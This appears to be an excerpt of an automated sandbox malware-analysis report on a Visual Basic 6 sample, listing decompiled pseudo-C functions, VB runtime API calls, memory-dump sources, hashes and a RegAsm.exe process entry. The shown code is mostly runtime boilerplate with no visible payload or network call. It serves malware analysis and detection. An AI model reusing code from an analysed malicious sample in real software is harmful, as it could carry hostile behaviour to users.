C-Code - Quality: 68%

			E0040E8DA(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a12, void* _a28) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				char _v64;
				short _v84;
				signed short _t21;
				short _t25;
				intOrPtr _t42;

				_push(0x4011f6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t42;
				_push(0x44);
				L004011F0();
				_v12 = _t42;
				_v8 = 0x401190;
				L00401322();
				L004012D4();
				L00401322();
				_v56 = 0x20ef;
				_v64 = 2;
				_t21 =  &_v64;
				_push(_t21);
				L0040129E();
				asm("sbb eax, eax");
				_v84 =  ~( ~( ~_t21));
				L00401352();
				_t25 = _v84;
				if(_t25 != 0) {
					_push(0xf5);
					L00401298();
					_v32 = _t25;
				}
				_push(E0040E992);
				L00401364();
				L00401364();
				L00401352();
				return _t25;
			}

0x0040e8df
0x0040e8ea
0x0040e8eb
0x0040e8f2
0x0040e8f5
0x0040e8fd
0x0040e900
0x0040e90d
0x0040e918
0x0040e923
0x0040e928
0x0040e92f
0x0040e936
0x0040e939
0x0040e93a
0x0040e942
0x0040e948
0x0040e94f
0x0040e954
0x0040e95a
0x0040e95c
0x0040e961
0x0040e966
0x0040e966
0x0040e969
0x0040e97c
0x0040e984
0x0040e98c
0x0040e991

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040E8F5
__vbaStrCopy.MSVBVM60(?,?,?,?,004011F6), ref: 0040E90D
__vbaVarDup.MSVBVM60(?,?,?,?,004011F6), ref: 0040E918
__vbaStrCopy.MSVBVM60(?,?,?,?,004011F6), ref: 0040E923
#592.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E93A
__vbaFreeVar.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E94F
#568.MSVBVM60(000000F5,00000002,?,?,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E961
__vbaFreeStr.MSVBVM60(0040E992,00000002,?,?,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E97C
__vbaFreeStr.MSVBVM60(0040E992,00000002,?,?,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E984
__vbaFreeVar.MSVBVM60(0040E992,00000002,?,?,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E98C

Strings

, xrefs: 0040E928

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$#568#592Chkstk
String ID:
API String ID: 3517739119-190826338
Opcode ID: 14f24134e8331a86ce91e54e046084ffe8208c700607eaffa8682ff64ea663e1
Instruction ID: 08a1a0ad2205ae6edba280830c6276fcf63e15f10c0d798d1ae658c5fce6fc4a
Opcode Fuzzy Hash: 14f24134e8331a86ce91e54e046084ffe8208c700607eaffa8682ff64ea663e1
Instruction Fuzzy Hash: A0114F7080024AAADB04EFA6DC42AEEB778FF04704F50853EF511B75E1EB785909CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1D7, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0040B1D7(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				intOrPtr* _v80;
				signed int _v84;
				intOrPtr* _v96;
				signed int _v100;
				char* _t44;
				signed int _t50;
				intOrPtr _t54;
				void* _t64;
				void* _t66;
				intOrPtr* _t67;

				_a4 = _a4 - 0xffff;
				_t67 = _t66 - 0xc;
				 *[fs:0x0] = _t67;
				L004011F0();
				_v16 = _t67;
				_v12 = 0x401160;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x4c,  *[fs:0x0], 0x4011f6, _t64);
				if( *0x410010 != 0) {
					_v96 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v96 = 0x410010;
				}
				_t54 =  *((intOrPtr*)( *_v96));
				_t44 =  &_v28;
				L004012E6();
				_v80 = _t44;
				_v68 = 0x80020004;
				_v76 = 0xa;
				_v52 = 0x80020004;
				_v60 = 0xa;
				_v36 = 0x80020004;
				_v44 = 0xa;
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t67 =  *0x401158;
				_t50 =  *((intOrPtr*)( *_v80 + 0x178))(_v80, _t54, 0x10, 0x10, 0x10, _t44,  *((intOrPtr*)(_t54 + 0x318))( *_v96));
				asm("fclex");
				_v84 = _t50;
				if(_v84 >= 0) {
					_v100 = _v100 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x40b7bc);
					_push(_v80);
					_push(_v84);
					L004012EC();
					_v100 = _t50;
				}
				L004012DA();
				asm("wait");
				_push(E0040E6C5);
				return _t50;
			}

0x0040b1d7
0x0040e588
0x0040e597
0x0040e5a1
0x0040e5a9
0x0040e5ac
0x0040e5b3
0x0040e5c2
0x0040e5cc
0x0040e5e6
0x0040e5ce
0x0040e5ce
0x0040e5d3
0x0040e5d8
0x0040e5dd
0x0040e5dd
0x0040e5f7
0x0040e601
0x0040e605
0x0040e60a
0x0040e60d
0x0040e614
0x0040e61b
0x0040e622
0x0040e629
0x0040e630
0x0040e63a
0x0040e644
0x0040e645
0x0040e646
0x0040e647
0x0040e64b
0x0040e655
0x0040e656
0x0040e657
0x0040e658
0x0040e65c
0x0040e666
0x0040e667
0x0040e668
0x0040e669
0x0040e671
0x0040e67c
0x0040e682
0x0040e684
0x0040e68b
0x0040e6a7
0x0040e68d
0x0040e68d
0x0040e692
0x0040e697
0x0040e69a
0x0040e69d
0x0040e6a2
0x0040e6a2
0x0040e6ae
0x0040e6b3
0x0040e6b4
0x00000000

APIs

__vbaChkstk.MSVBVM60(00000000,004011F6), ref: 0040E5A1
__vbaNew2.MSVBVM60(0040AB94,00410010,?,00000003,?,00000000,004011F6), ref: 0040E5D8
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E605
__vbaChkstk.MSVBVM60(?,00000000), ref: 0040E63A
__vbaChkstk.MSVBVM60(?,00000000), ref: 0040E64B
__vbaChkstk.MSVBVM60(?,00000000), ref: 0040E65C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000178,?,?,00000000), ref: 0040E69D
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 0040E6AE

Strings

=hC, xrefs: 0040E585

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID: =hC
API String ID: 3189907775-2432917076
Opcode ID: 34cb86021dbebcc91e216329dd62590a8ab57ce0ae24f6d5cf3338a73cff11f0
Instruction ID: e758f8669b47c2d61653ebdaa9cd1ee099b197450745b47100c65c970565a5f1
Opcode Fuzzy Hash: 34cb86021dbebcc91e216329dd62590a8ab57ce0ae24f6d5cf3338a73cff11f0
Instruction Fuzzy Hash: D3314A70900208EFCB01DFD5D849B9EBBB6BF09704F10482AF501BF2A1C7BA5496DB49

Uniqueness

Uniqueness Score: -1.00%

Function 0040ED5F, Relevance: 15.1, APIs: 10, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0040ED5F(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, void* _a12, void* _a32) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				void* _v48;
				signed int _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr _v72;
				intOrPtr* _v76;
				signed int _v80;
				signed int _t39;
				signed int _t45;
				void* _t58;
				void* _t60;
				intOrPtr _t61;

				_t61 = _t60 - 0xc;
				 *[fs:0x0] = _t61;
				L004011F0();
				_v16 = _t61;
				_v12 = 0x4011d8;
				_v8 = 0;
				_t39 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x38,  *[fs:0x0], 0x4011f6, _t58);
				L004012D4();
				L00401322();
				_push(0x40b86c);
				L00401286();
				asm("fcomp qword [0x4011d0]");
				asm("fnstsw ax");
				asm("sahf");
				if(__eflags != 0) {
					if( *0x4103c4 != 0) {
						_v76 = 0x4103c4;
					} else {
						_push(0x4103c4);
						_push(0x40b8c4);
						L004012E0();
						_v76 = 0x4103c4;
					}
					_v56 =  *_v76;
					_t45 =  *((intOrPtr*)( *_v56 + 0x48))(_v56, 0x48,  &_v52);
					asm("fclex");
					_v60 = _t45;
					if(_v60 >= 0) {
						_t24 =  &_v80;
						 *_t24 = _v80 & 0x00000000;
						__eflags =  *_t24;
					} else {
						_push(0x48);
						_push(0x40b8b4);
						_push(_v56);
						_push(_v60);
						L004012EC();
						_v80 = _t45;
					}
					_t39 = _v52;
					_v72 = _t39;
					_v52 = _v52 & 0x00000000;
					L0040135E();
				}
				asm("wait");
				_push(E0040EE70);
				L00401364();
				L00401364();
				L00401352();
				return _t39;
			}

0x0040ed62
0x0040ed71
0x0040ed7b
0x0040ed83
0x0040ed86
0x0040ed8d
0x0040ed9c
0x0040eda5
0x0040edb0
0x0040edb5
0x0040edba
0x0040edbf
0x0040edc5
0x0040edc7
0x0040edc8
0x0040edd1
0x0040edeb
0x0040edd3
0x0040edd3
0x0040edd8
0x0040eddd
0x0040ede2
0x0040ede2
0x0040edf7
0x0040ee08
0x0040ee0b
0x0040ee0d
0x0040ee14
0x0040ee2d
0x0040ee2d
0x0040ee2d
0x0040ee16
0x0040ee16
0x0040ee18
0x0040ee1d
0x0040ee20
0x0040ee23
0x0040ee28
0x0040ee28
0x0040ee31
0x0040ee34
0x0040ee37
0x0040ee41
0x0040ee41
0x0040ee46
0x0040ee47
0x0040ee5a
0x0040ee62
0x0040ee6a
0x0040ee6f

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040ED7B
__vbaVarDup.MSVBVM60(?,?,?,?,004011F6), ref: 0040EDA5
__vbaStrCopy.MSVBVM60(?,?,?,?,004011F6), ref: 0040EDB0
__vbaR8Str.MSVBVM60(0040B86C,?,?,?,?,004011F6), ref: 0040EDBA
__vbaNew2.MSVBVM60(0040B8C4,004103C4,0040B86C,?,?,?,?,004011F6), ref: 0040EDDD
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B8B4,00000048), ref: 0040EE23
__vbaStrMove.MSVBVM60(00000000,?,0040B8B4,00000048), ref: 0040EE41
__vbaFreeStr.MSVBVM60(0040EE70,0040B86C,?,?,?,?,004011F6), ref: 0040EE5A
__vbaFreeStr.MSVBVM60(0040EE70,0040B86C,?,?,?,?,004011F6), ref: 0040EE62
__vbaFreeVar.MSVBVM60(0040EE70,0040B86C,?,?,?,?,004011F6), ref: 0040EE6A

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultMoveNew2
String ID:
API String ID: 3351146962-0
Opcode ID: cf7010c0028d4cb731ac91b9d032599060b8a66fb48d55101669d23390513f7b
Instruction ID: b5bf3b3f6e02cfab33ec27c49f369521d3e66b5ff7108b1cef3e8031a622dcfa
Opcode Fuzzy Hash: cf7010c0028d4cb731ac91b9d032599060b8a66fb48d55101669d23390513f7b
Instruction Fuzzy Hash: 6231E57090120DABDB00EFA6D986BDDBBB5FF04708F20846AF501B62E1DB785955CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040E779, Relevance: 13.6, APIs: 9, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040E779(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				char _v64;
				char _v80;
				intOrPtr _v104;
				intOrPtr _v112;
				intOrPtr _v120;
				char _v128;
				signed int _v132;
				short _v136;
				signed int _v148;
				signed int _v152;
				signed int _t46;
				short _t48;
				signed int _t51;
				void* _t62;
				void* _t64;
				intOrPtr _t65;

				_t65 = _t64 - 0xc;
				 *[fs:0x0] = _t65;
				L004011F0();
				_v16 = _t65;
				_v12 = 0x401180;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4011f6, _t62);
				L004012D4();
				_v104 = 0x40b86c;
				_v112 = 8;
				L004012D4();
				_push( &_v80);
				_t46 =  &_v64;
				_push(_t46);
				L004012AA();
				_v132 = _t46;
				if(_v132 >= 0) {
					_v148 = _v148 & 0x00000000;
				} else {
					_push(_v132);
					L004012A4();
					_v148 = _t46;
				}
				_v120 = 2;
				_v128 = 0x8002;
				_push( &_v80);
				_t48 =  &_v128;
				_push(_t48);
				L004012B0();
				_v136 = _t48;
				_push( &_v80);
				_push( &_v64);
				_push(2);
				L00401334();
				_t51 = _v136;
				if(_t51 != 0) {
					_t51 =  *((intOrPtr*)( *_a4 + 0x70c))(_a4);
					_v132 = _t51;
					if(_v132 >= 0) {
						_v152 = _v152 & 0x00000000;
					} else {
						_push(0x70c);
						_push(0x40b498);
						_push(_a4);
						_push(_v132);
						L004012EC();
						_v152 = _t51;
					}
				}
				_push(E0040E8AD);
				L00401352();
				return _t51;
			}

0x0040e77c
0x0040e78b
0x0040e797
0x0040e79f
0x0040e7a2
0x0040e7a9
0x0040e7b8
0x0040e7c1
0x0040e7c6
0x0040e7cd
0x0040e7da
0x0040e7e2
0x0040e7e3
0x0040e7e6
0x0040e7e7
0x0040e7ec
0x0040e7f3
0x0040e805
0x0040e7f5
0x0040e7f5
0x0040e7f8
0x0040e7fd
0x0040e7fd
0x0040e80c
0x0040e813
0x0040e81d
0x0040e81e
0x0040e821
0x0040e822
0x0040e827
0x0040e831
0x0040e835
0x0040e836
0x0040e838
0x0040e840
0x0040e849
0x0040e853
0x0040e859
0x0040e860
0x0040e87f
0x0040e862
0x0040e862
0x0040e867
0x0040e86c
0x0040e86f
0x0040e872
0x0040e877
0x0040e877
0x0040e860
0x0040e886
0x0040e8a7
0x0040e8ac

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040E797
__vbaVarDup.MSVBVM60(?,?,?,?,004011F6), ref: 0040E7C1
__vbaVarDup.MSVBVM60 ref: 0040E7DA
#564.MSVBVM60(?,?), ref: 0040E7E7
__vbaHresultCheck.MSVBVM60(00000000,?,?,?,?,?), ref: 0040E7F8
__vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?,?,?,?,?,?), ref: 0040E822
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?,?,?,?,?,?), ref: 0040E838
__vbaHresultCheckObj.MSVBVM60(00000000,00401180,0040B498,0000070C), ref: 0040E872
__vbaFreeVar.MSVBVM60(0040E8AD,?,?,004011F6), ref: 0040E8A7

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$#564ChkstkList
String ID:
API String ID: 1402474909-0
Opcode ID: be88a8505158018f967731a092aae70bbe2d8b07d8417a5a4a1bcfcf72fb87ab
Instruction ID: 20e5528c15e7f8b1a70284fbaa37993fb54fe06051437f89025f55ba7110be94
Opcode Fuzzy Hash: be88a8505158018f967731a092aae70bbe2d8b07d8417a5a4a1bcfcf72fb87ab
Instruction Fuzzy Hash: A731F771C00208ABDB10EFA6C945BDDBBB8BF08708F10857AE505BB1A1DB785A09DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC58, Relevance: 13.6, APIs: 9, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0040EC58(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a28, void* _a36) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				char _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr* _v56;
				signed int _v60;
				char* _t32;
				signed int _t35;
				intOrPtr _t52;

				_push(0x4011f6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t52;
				_push(0x28);
				L004011F0();
				_v12 = _t52;
				_v8 = 0x4011c0;
				L00401322();
				L00401322();
				if( *0x410010 != 0) {
					_v56 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v56 = 0x410010;
				}
				_t32 =  &_v40;
				L004012E6();
				_v44 = _t32;
				_t35 =  *((intOrPtr*)( *_v44 + 0x124))(_v44, _t32,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x320))( *_v56));
				asm("fclex");
				_v48 = _t35;
				if(_v48 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x124);
					_push(0x40b7ec);
					_push(_v44);
					_push(_v48);
					L004012EC();
					_v60 = _t35;
				}
				L004012DA();
				asm("wait");
				_push(E0040ED44);
				L00401364();
				L00401364();
				return _t35;
			}

0x0040ec5d
0x0040ec68
0x0040ec69
0x0040ec70
0x0040ec73
0x0040ec7b
0x0040ec7e
0x0040ec8b
0x0040ec96
0x0040eca2
0x0040ecbc
0x0040eca4
0x0040eca4
0x0040eca9
0x0040ecae
0x0040ecb3
0x0040ecb3
0x0040ecd7
0x0040ecdb
0x0040ece0
0x0040eceb
0x0040ecf1
0x0040ecf3
0x0040ecfa
0x0040ed16
0x0040ecfc
0x0040ecfc
0x0040ed01
0x0040ed06
0x0040ed09
0x0040ed0c
0x0040ed11
0x0040ed11
0x0040ed1d
0x0040ed22
0x0040ed23
0x0040ed36
0x0040ed3e
0x0040ed43

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040EC73
__vbaStrCopy.MSVBVM60(?,?,?,?,004011F6), ref: 0040EC8B
__vbaStrCopy.MSVBVM60(?,?,?,?,004011F6), ref: 0040EC96
__vbaNew2.MSVBVM60(0040AB94,00410010,?,?,?,?,004011F6), ref: 0040ECAE
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040ECDB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7EC,00000124,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040ED0C
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040ED1D
__vbaFreeStr.MSVBVM60(0040ED44,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040ED36
__vbaFreeStr.MSVBVM60(0040ED44,?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040ED3E

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$CheckChkstkHresultNew2
String ID:
API String ID: 1208621462-0
Opcode ID: 53dffde6eb0d284c681a6c419349726b5f7340ef95e1cca073ff9608b5fd452d
Instruction ID: 1bcdf2b1254895b73ef020aac4f2b576b52b0ce28f73afccab764b32f8531d98
Opcode Fuzzy Hash: 53dffde6eb0d284c681a6c419349726b5f7340ef95e1cca073ff9608b5fd452d
Instruction Fuzzy Hash: 97212870900209AFCB04EFA5D986BDEBBB5FF08704F20446AF001B72E1C7B95945CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040C446, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040C446(void* __eax) {
				void* _t12;

				L0040135E();
				_push( *((intOrPtr*)(_t12 - 0x14)));
				_push(L"Lindormen");
				L004012F8();
				L0040135E();
				_push( *((intOrPtr*)(_t12 - 0x14)));
				_push(L"Lindormen");
				L004012F8();
				L0040135E();
				_push(E0040C487);
				L00401364();
				return __eax;
			}

0x0040c446
0x0040c44b
0x0040c44e
0x0040c453
0x0040c45d
0x0040c462
0x0040c465
0x0040c46a
0x0040c474
0x0040c479
0x0040c481
0x0040c486

APIs

__vbaStrMove.MSVBVM60 ref: 0040C446
#616.MSVBVM60(Lindormen,?), ref: 0040C453
__vbaStrMove.MSVBVM60(Lindormen,?), ref: 0040C45D
#616.MSVBVM60(Lindormen,?,Lindormen,?), ref: 0040C46A
__vbaStrMove.MSVBVM60(Lindormen,?,Lindormen,?), ref: 0040C474
__vbaFreeStr.MSVBVM60(0040C487,Lindormen,?,Lindormen,?), ref: 0040C481

Strings

Lindormen, xrefs: 0040C44E, 0040C465

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Move$#616$Free
String ID: Lindormen
API String ID: 3784223357-1899767452
Opcode ID: cec7a3758d88ca38001f688453cfdf1be3bd1795aa6a0ad5f0521bbea6c490e2
Instruction ID: 40f4b093c3a137d0b59e0b236fb8c942480e4f251835e6e276656a1e9c8f53d2
Opcode Fuzzy Hash: cec7a3758d88ca38001f688453cfdf1be3bd1795aa6a0ad5f0521bbea6c490e2
Instruction Fuzzy Hash: 75D0EC32E0020956DB05B7E5C9529FEB362AE80744B70413FB512725F1DE3E0A06975D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB4A, Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0040EB4A(void* __ebx, void* __edi, void* __esi, void* _a28, signed int* _a56) {
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				char _v60;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v80;
				signed int _v84;
				char* _t31;
				signed int _t34;
				void* _t47;
				intOrPtr _t48;

				_t48 = _t47 - 0xc;
				_push(0x4011f6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t48;
				_push(0x3c);
				L004011F0();
				_v16 = _t48;
				_v12 = 0x4011b0;
				L004012D4();
				 *_a56 =  *_a56 & 0x00000000;
				if( *0x410010 != 0) {
					_v80 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v80 = 0x410010;
				}
				_t31 =  &_v60;
				L004012E6();
				_v64 = _t31;
				_t34 =  *((intOrPtr*)( *_v64 + 0x170))(_v64, _t31,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x310))( *_v80));
				asm("fclex");
				_v68 = _t34;
				if(_v68 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x40b7bc);
					_push(_v64);
					_push(_v68);
					L004012EC();
					_v84 = _t34;
				}
				L004012DA();
				_push(E0040EC3B);
				L00401352();
				return _t34;
			}

0x0040eb4d
0x0040eb50
0x0040eb5b
0x0040eb5c
0x0040eb63
0x0040eb66
0x0040eb6e
0x0040eb71
0x0040eb7e
0x0040eb86
0x0040eb90
0x0040ebaa
0x0040eb92
0x0040eb92
0x0040eb97
0x0040eb9c
0x0040eba1
0x0040eba1
0x0040ebc5
0x0040ebc9
0x0040ebce
0x0040ebd9
0x0040ebdf
0x0040ebe1
0x0040ebe8
0x0040ec04
0x0040ebea
0x0040ebea
0x0040ebef
0x0040ebf4
0x0040ebf7
0x0040ebfa
0x0040ebff
0x0040ebff
0x0040ec0b
0x0040ec10
0x0040ec35
0x0040ec3a

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040EB66
__vbaVarDup.MSVBVM60(?,?,?,?,004011F6), ref: 0040EB7E
__vbaNew2.MSVBVM60(0040AB94,00410010,?,?,?,?,004011F6), ref: 0040EB9C
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EBC9
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000170), ref: 0040EBFA
__vbaFreeObj.MSVBVM60 ref: 0040EC0B
__vbaFreeVar.MSVBVM60(0040EC3B), ref: 0040EC35

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2
String ID:
API String ID: 1725699769-0
Opcode ID: b3d1a17fdd20f03a91c9cdec9cc4add39bb74d860539d8fe31f5cd21583a3217
Instruction ID: 029ace7adb607c4f98a09cd1e822fd332aaf8b3f063d426c2500ebf91742759e
Opcode Fuzzy Hash: b3d1a17fdd20f03a91c9cdec9cc4add39bb74d860539d8fe31f5cd21583a3217
Instruction Fuzzy Hash: A5212530900208EFDB15EFE6D845BDDBBB4BB08704F10446AF402BB2E1CBB96851DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6E4, Relevance: 7.5, APIs: 5, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040E6E4(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				short _v36;
				intOrPtr _v44;
				char _v52;
				short _t13;
				intOrPtr _t24;

				_push(0x4011f6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t24;
				_push(0x34);
				L004011F0();
				_v12 = _t24;
				_v8 = 0x401170;
				L00401322();
				_v44 = 0x80020004;
				_v52 = 0xa;
				_t13 =  &_v52;
				_push(_t13);
				L004012B6();
				_v36 = _t13;
				L00401352();
				_push(E0040E758);
				L00401364();
				return _t13;
			}

0x0040e6e9
0x0040e6f4
0x0040e6f5
0x0040e6fc
0x0040e6ff
0x0040e707
0x0040e70a
0x0040e717
0x0040e71c
0x0040e723
0x0040e72a
0x0040e72d
0x0040e72e
0x0040e733
0x0040e73a
0x0040e73f
0x0040e752
0x0040e757

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040E6FF
__vbaStrCopy.MSVBVM60(?,?,?,?,004011F6), ref: 0040E717
#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E72E
__vbaFreeVar.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E73A
__vbaFreeStr.MSVBVM60(0040E758,0000000A,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040E752

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#648ChkstkCopy
String ID:
API String ID: 1154470171-0
Opcode ID: 79694ad2e7ee47a07f1dd35647b8ba6ba606ab1feb72f402ee17447ca0c8b880
Instruction ID: 9c546a8fb363d6108f9a5700f9bd38d1bb25260a891b5ca6e1b2c85a905c42c8
Opcode Fuzzy Hash: 79694ad2e7ee47a07f1dd35647b8ba6ba606ab1feb72f402ee17447ca0c8b880
Instruction Fuzzy Hash: B3F04FB1810248ABDB04EB91CD42F9EB778FF04B44F50412EF501771A1D77C2904C759

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exe PID: 1948 Parent PID: 4316 RegAsm.exeCOMMON

Executed Functions

Non-executed Functions

Function 00B051AB, Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

o|, xrefs: 00B05556

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID: o|
API String ID: 0-471806587
Opcode ID: 9e1b1121f228053be433e7bfc7c2efec316236047a87a00feeeec07518fbe639
Instruction ID: c414d74d907822cf7ebd327c377b419d86bce6992e2b42045386f8646a15479b
Opcode Fuzzy Hash: 9e1b1121f228053be433e7bfc7c2efec316236047a87a00feeeec07518fbe639
